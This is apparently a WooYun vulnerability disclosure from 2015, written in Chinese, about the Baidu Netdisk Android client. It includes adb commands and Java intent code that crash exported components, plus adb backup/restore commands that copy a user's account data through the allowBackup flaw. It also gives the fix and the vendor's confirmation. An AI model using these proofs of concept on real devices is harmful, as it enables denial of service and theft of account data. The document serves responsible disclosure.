当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
百度云网盘Android客户端存在多处安全缺陷
相关厂商:
漏洞作者:
提交时间:
2015-03-16 16:25
修复时间:
2015-06-14 17:14
公开时间:
2015-06-14 17:14
漏洞类型:
设计错误/逻辑缺陷
危害等级:
自评Rank:
10
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

百度云网盘Android客户端存在多处安全缺陷,可导致本地拒绝服务与用户敏感信息泄露。

详细说明:

以下漏洞均无需ROOT
1.多处本地拒绝服务
null intent引起的crash
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.push.PushMessageReceiver
adb shell am broadcast -n com.baidu.netdisk/com.baidu.cyberplayer.dlna.NetworkChangeReceiver
adb shell am start -n com.baidu.netdisk/com.baidu.sumeru.lightapp.activity.LightAppPlayerActivity
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.util.battery.BatteryMonitor
adb shell am start -n com.baidu.netdisk/com.baidu.netdisk.cloudp2p.ui.RichMediaActivity
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.p2pshare.PhoneStateReceiver
adb shell am start -n com.baidu.netdisk/com.baidu.netdisk.pim.smsmms.ui.SmsmmsBackupMain
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.module.toolbox.AppInfoBroadcatReceiver
getSerializable 异常引起的crash
1.
static class SerializableObject implements Serializable {
static final long serialVersionUID = 42L;
SerializableObject() {
super();
}
}
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.baidu.netdisk", "com.baidu.netdisk.ui.FileManagerFailedListActivity"));
intent.putExtra("test_baiduyun_wooyun", new SerializableObject());
startActivity(intent);
2.
com.baidu.android.pushservice.PushService
command:
static class SerializableObject implements Serializable {
static final long serialVersionUID = 42L;
SerializableObject() {
super();
}
}
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.baidu.netdisk", "com.baidu.android.pushservice.PushService"));
intent.putExtra("test_baiduyun_wooyun", new SerializableObject());
startService(intent);
2.allowbackup漏洞
没有配置allowbackup="false",可导致用户帐户完全被复制
备份应用数据
adb backup -nosystem -noshared -apk -f com.baidu.netdisk.ab com.baidu.netdisk
恢复数据
adb restore com.baidu.netdisk.ab

漏洞证明:

6D67AFE4-E0DD-4B04-B7CD-B128CC439ACF.png

修复方案:

添加异常处理,allowbackup="false"

版权声明:转载请注明来源 Nicky@乌云


>

漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-03-16 17:13

厂商回复:

感谢提交 部分风险已经通知产品线修复

最新状态:

暂无